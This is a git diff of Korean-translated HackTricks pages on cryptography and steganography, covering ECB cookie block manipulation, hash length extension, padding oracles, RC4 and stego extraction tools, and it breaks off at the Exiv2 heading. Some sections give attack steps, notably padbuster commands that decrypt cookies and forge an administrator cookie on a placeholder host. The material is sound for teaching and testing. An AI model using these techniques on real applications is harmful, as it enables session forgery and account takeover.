|
||||
| 사용자 이름 길이 | 비밀번호 길이 | 사용자 이름+비밀번호 길이 | 쿠키의 길이 (디코딩 후): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# 취약점의 악용
|
||||
|
||||
## 전체 블록 제거
|
||||
|
||||
쿠키의 형식(`<사용자 이름>|<비밀번호>`)을 알고 있다면, 사용자 이름 `admin`을 가장하려면 `aaaaaaaaadmin`이라는 새 사용자를 생성하고 쿠키를 가져와 디코딩하면 됩니다:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
이전에 'a'만을 포함한 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`을 볼 수 있습니다.\
|
||||
그런 다음, 첫 번째 8B 블록을 제거하면 사용자 이름이 `admin`인 유효한 쿠키를 얻을 수 있습니다.
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## 블록 이동
|
||||
|
||||
많은 데이터베이스에서 `WHERE username='admin';` 또는 `WHERE username='admin ';` (추가 공백에 주목)와 같이 검색하는 것은 동일합니다.
|
||||
|
||||
따라서, 사용자 `admin`을 표현하는 또 다른 방법은 다음과 같습니다:
|
||||
|
||||
* `len(<username>) + len(<delimiter) % len(block)`와 같이 길이가 `8B`인 블록을 사용하여 `username `이라는 이름의 사용자 이름을 생성할 수 있습니다. 구분자 `|`와 함께 청크 `<username><delimiter>`는 8B의 2개 블록을 생성합니다.
|
||||
* 그런 다음, 원하는 사용자 이름과 공백이 포함된 블록의 정확한 수를 채우는 비밀번호를 생성합니다. 예를 들어, `admin `입니다.
|
||||
|
||||
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 첫 번째 2개는 사용자 이름 + 구분자 블록이고 세 번째는 비밀번호 블록입니다 (사용자 이름을 가장한 것입니다): `username |admin `
|
||||
|
||||
**그런 다음, 첫 번째 블록을 마지막 블록으로 대체하면 사용자 `admin`을 표현하게 됩니다: `admin |username`**
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
91
crypto-and-stego/esoteric-languages.md
Normal file
91
crypto-and-stego/esoteric-languages.md
Normal file
|
@ -0,0 +1,91 @@
|
|||
# 이상한 언어
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
더 많은 이상한 언어를 검색하려면 위키를 확인하세요.
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||
```
|
||||
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||
|
||||
## npiet
|
||||
|
||||
![](<../.gitbook/assets/image (146).png>)
|
||||
|
||||
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||
|
||||
## Rockstar
|
||||
```
|
||||
Midnight takes your heart and your soul
|
||||
While your heart is as high as your soul
|
||||
Put your heart without your soul into your heart
|
||||
|
||||
Give back your heart
|
||||
|
||||
|
||||
Desire is a lovestruck ladykiller
|
||||
My world is nothing
|
||||
Fire is ice
|
||||
Hate is water
|
||||
Until my world is Desire,
|
||||
Build my world up
|
||||
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
|
||||
Shout "FizzBuzz!"
|
||||
Take it to the top
|
||||
|
||||
If Midnight taking my world, Fire is nothing
|
||||
Shout "Fizz!"
|
||||
Take it to the top
|
||||
|
||||
If Midnight taking my world, Hate is nothing
|
||||
Say "Buzz!"
|
||||
Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH은 2003년 Oleg Mazonka에 의해 개발된 에스퍼토어 언어입니다. 이 언어는 러시아어 단어 "петух"에서 이름을 따왔으며, "닭"이라는 뜻입니다. PETOOH는 단어의 길이에 따라 프로그램을 작성하는 독특한 방식을 가지고 있습니다.
|
||||
|
||||
PETOOH 프로그램은 두 개의 메모리 셀과 포인터로 구성됩니다. 각 셀은 8비트 정수 값을 저장할 수 있으며, 포인터는 현재 작업 중인 셀을 가리킵니다. 프로그램은 단어의 길이에 따라 작성되며, 각 단어는 특정한 명령을 나타냅니다.
|
||||
|
||||
PETOOH는 기본적으로 두 가지 명령을 지원합니다. "ko"는 포인터를 오른쪽으로 이동시키고, "kud"는 포인터를 왼쪽으로 이동시킵니다. 또한, PETOOH는 단어의 길이에 따라 다른 명령을 추가로 지원합니다.
|
||||
|
||||
PETOOH는 이해하기 어려운 언어로 알려져 있으며, 주로 코딩 도전과제나 암호화에 사용됩니다. PETOOH 프로그램을 해석하려면 해당 언어의 규칙과 명령을 이해해야 합니다.
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
KoKoKo Kud-Kudah
|
||||
kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
|
||||
KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
|
||||
</details>
|
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
62
crypto-and-stego/hash-length-extension-attack.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 공격 요약
|
||||
|
||||
알려진 일부 평문 데이터에 **비밀**을 **추가**하고 해당 데이터를 해싱하여 **서명**하는 서버를 상상해보세요. 다음을 알고 있다면:
|
||||
|
||||
* **비밀의 길이** (주어진 길이 범위에서 브루트포스로 찾을 수도 있음)
|
||||
* **평문 데이터**
|
||||
* **알고리즘 (이 공격에 취약한)**
|
||||
* **패딩이 알려져 있는**
|
||||
* 일반적으로 기본 패딩이 사용되므로 다른 3가지 요구 사항을 충족하면 이 역시 그렇습니다.
|
||||
* 패딩은 비밀+데이터의 길이에 따라 다르므로 비밀의 길이가 필요합니다.
|
||||
|
||||
그렇다면, **공격자**는 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
|
||||
## 어떻게?
|
||||
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
|
||||
그러면, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 문자열 "추가"를 추가하려면:
|
||||
|
||||
* 64개의 "A"의 MD5를 생성합니다.
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경합니다.
|
||||
* 문자열 "추가"를 추가합니다.
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "추가"**에 대한 **유효한 해시**가 됩니다.
|
||||
|
||||
## **도구**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
## 참고 자료
|
||||
|
||||
이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
124
crypto-and-stego/padding-oracle-priv.md
Normal file
124
crypto-and-stego/padding-oracle-priv.md
Normal file
|
@ -0,0 +1,124 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
CBC 모드에서는 **이전 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR 연산을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
CBC를 복호화하려면 **반대로** **연산**을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
암호화에는 **암호화 키**와 **IV**를 사용해야 함에 유의하세요.
|
||||
|
||||
# 메시지 패딩
|
||||
|
||||
암호화는 **고정된 크기의 블록**으로 수행되므로, **마지막 블록**의 길이를 완성하기 위해 일반적으로 **패딩**이 필요합니다.\
|
||||
일반적으로는 **PKCS7**이 사용되며, 패딩은 블록을 **완성**하기 위해 필요한 **바이트 수**를 **반복**하여 생성됩니다. 예를 들어, 마지막 블록이 3바이트가 부족한 경우 패딩은 `\x03\x03\x03`이 됩니다.
|
||||
|
||||
**8바이트 길이의 2개 블록**을 가진 더 많은 예제를 살펴보겠습니다:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
마지막 예제에서는 **마지막 블록이 가득 차 있어 패딩만 있는 블록이 추가로 생성**되었음을 알 수 있습니다.
|
||||
|
||||
# 패딩 오라클
|
||||
|
||||
응용 프로그램이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안, **잘못된 패딩이 감지 가능한 동작을 트리거**하면 패딩 오라클 취약점이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족** 또는 **응답 속도가 느려짐**일 수 있습니다.
|
||||
|
||||
이러한 동작을 감지하면, 암호화된 데이터를 **복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다.
|
||||
|
||||
## 악용 방법
|
||||
|
||||
[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하여 이러한 유형의 취약점을 악용하거나, 단순히 다음을 수행할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다 (하지만 다른 것들도 사용 가능하니 도움말 메뉴를 확인하세요).
|
||||
|
||||
또한 이 취약점을 **새로운 데이터를 암호화하기 위해 악용**할 수도 있습니다. 예를 들어, 쿠키의 내용이 "\_user=MyUsername\_"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `padbuster`를 사용하여 `-plaintext` 매개변수를 지정하여 이 작업을 수행할 수도 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생하는 시점을 찾으려고 시도할 것입니다. 그러나 **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## 이론
|
||||
|
||||
요약하자면, 모든 **다른 패딩**을 생성하는 데 사용될 수 있는 올바른 값을 추측하여 암호화된 데이터의 복호화를 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 1, 2, 3 등의 패딩을 생성하는 올바른 값을 추측하여 시작하여 끝에서 시작하여 바이트를 복호화합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
E0에서 E15까지의 바이트로 구성된 **2개의 블록**으로 이루어진 암호화된 텍스트가 있다고 상상해보십시오.\
|
||||
마지막 블록(E8에서 E15)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 중간 바이트 I0에서 I15을 생성합니다.\
|
||||
마지막으로, 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
* `C13 = I13 ^ E5`
|
||||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
이제 `C15`이 `0x01`이 될 때까지 `E7`을 수정할 수 있습니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우에는: `\x01 = I15 ^ E'7`
|
||||
|
||||
따라서, `E'7`을 찾으면 **I15을 계산**할 수 있습니다: `I15 = 0x01 ^ E'7`
|
||||
|
||||
이로써 **C15을 계산**할 수 있습니다: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
**C15**을 알게 되면, 이제 **C14를 계산**할 수 있지만, 이번에는 패딩 `\x02\x02`를 무차별 대입(brute-force)합니다.
|
||||
|
||||
이 무차별 대입은 이전과 같이 복잡합니다. 0x02인 **`E''15`**를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 그래서 **`C14`**가 **`0x02`**와 같은 **`E'14`**를 찾기만 하면 됩니다.\
|
||||
그런 다음, C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**전체 암호화된 텍스트를 복호화**하기 위해 이러한 과정을 따르십시오.
|
||||
|
||||
## 취약점 탐지
|
||||
|
||||
계정을 등록하고이 계정으로 로그인하십시오.\
|
||||
여러 번 로그인하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 문제가 있을 수 있습니다. 쿠키는 로그인할 때마다 **고유해야**합니다. 쿠키가 **항상** **동일**하면 항상 유효하고 **무효화할 수 있는 방법이 없을 것**입니다.
|
||||
|
||||
이제 쿠키를 **수정**하려고하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
그러나 패딩을 무차별 대입(padbuster를 사용하여 예를 들면)하면 다른 사용자에 대한 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 매우 높습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 HackTricks에서 **광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
|
@ -0,0 +1,40 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
만약 RC4를 사용하여 평문을 암호화할 수 있다면, 암호화 함수를 사용하여 동일한 비밀번호로 암호화된 모든 내용을 복호화할 수 있습니다.
|
||||
|
||||
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. HTB Kryptos 머신에서 더 많은 참고 자료를 찾을 수 있습니다:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
230
crypto-and-stego/stego-tricks.md
Normal file
230
crypto-and-stego/stego-tricks.md
Normal file
|
@ -0,0 +1,230 @@
|
|||
# 스테고 트릭
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **파일에서 데이터 추출하기**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
임베디드 숨겨진 파일과 데이터를 찾기 위한 이진 파일 검색 도구입니다. `apt`를 통해 설치되며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에서 사용할 수 있습니다.
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Foremost**
|
||||
|
||||
파일을 헤더와 푸터를 기반으로 복구하여 png 이미지에 유용합니다. [GitHub](https://github.com/korczis/foremost)에서 소스를 사용하여 `apt`를 통해 설치됩니다.
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
파일 메타데이터를 볼 수 있도록 도와줍니다. [여기](https://www.sno.phy.queensu.ca/\~phil/exiftool/)에서 사용할 수 있습니다.
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
